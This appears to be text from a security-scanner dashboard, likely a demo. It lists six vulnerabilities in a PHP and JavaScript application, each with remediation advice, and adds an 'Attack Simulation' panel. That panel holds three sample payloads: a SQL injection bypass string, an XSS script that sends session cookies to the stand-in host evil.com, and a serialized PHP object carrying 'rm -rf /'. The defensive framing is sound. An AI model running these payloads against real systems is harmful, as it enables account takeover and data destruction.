— threat intelligence

Security Analysis

AI-powered vulnerability detection, attack simulation, and remediation guidance.

+2 this week
2
Critical
Stable
2
High Risk
-1 resolved
2
Medium
Simulated
3
Attack Vectors

Vulnerability Feed

CriticalCWE-89
2h ago

SQL Injection via concatenated query

src/db/Queries.php:184

User input is concatenated directly into a SQL string using mysql_query().

AI Remediation

Use PDO with prepared statements and parameterized queries.

CriticalCWE-916
2h ago

Weak password hashing (MD5)

src/auth/Login.php:42

Passwords are stored using unsalted MD5 hashes — trivially crackable.

AI Remediation

Migrate to password_hash() with PASSWORD_BCRYPT or Argon2id.

HighCWE-352
2h ago

Missing CSRF protection on state-changing routes

src/api/Invoice.php:87

POST endpoints accept requests without verifying CSRF tokens.

AI Remediation

Add anti-CSRF tokens and validate origin/referer headers.

HighCWE-502
2h ago

Insecure deserialization of user payload

src/api/Webhook.php:23

unserialize() is called on data from untrusted webhook source.

AI Remediation

Switch to JSON parsing with a strict schema validator.

MediumCWE-79
2h ago

XSS in rendered cart items

public/js/cart.js:112

Item names are rendered via .innerHTML without escaping.

AI Remediation

Use textContent or a templating library with auto-escaping.

MediumCWE-1104
2h ago

Outdated dependency: jQuery 1.9.1

public/js/vendor/:1

Bundled jQuery has multiple known prototype-pollution CVEs.

AI Remediation

Upgrade to jQuery 3.7+ or remove in favor of native APIs.

Attack Simulation

SQL Injection
' OR '1'='1' --
Target: src/db/Queries.php:184
Impact: Bypasses authentication, returns all user records
XSS Attack
<script>fetch("evil.com?c="+document.cookie)</script>
Target: public/js/cart.js:112
Impact: Steals session cookies, enables account takeover
Deserialization
O:8:"EvilCode":1:{s:4:"exec";s:10:"rm -rf /";}
Target: src/api/Webhook.php:23
Impact: Remote code execution, full system compromise

AI Recommendations

Migrate to PDO with Prepared Statements

Critical
Eliminates 14 SQL injection vectors
2-3 days

Implement bcrypt Password Hashing

Critical
Protects 50K+ user credentials
1 day + migration script

Add CSRF Token Validation

High
Secures all state-changing endpoints
4-6 hours

Upgrade jQuery to 3.7+

Medium
Patches 8 known CVEs
2-3 hours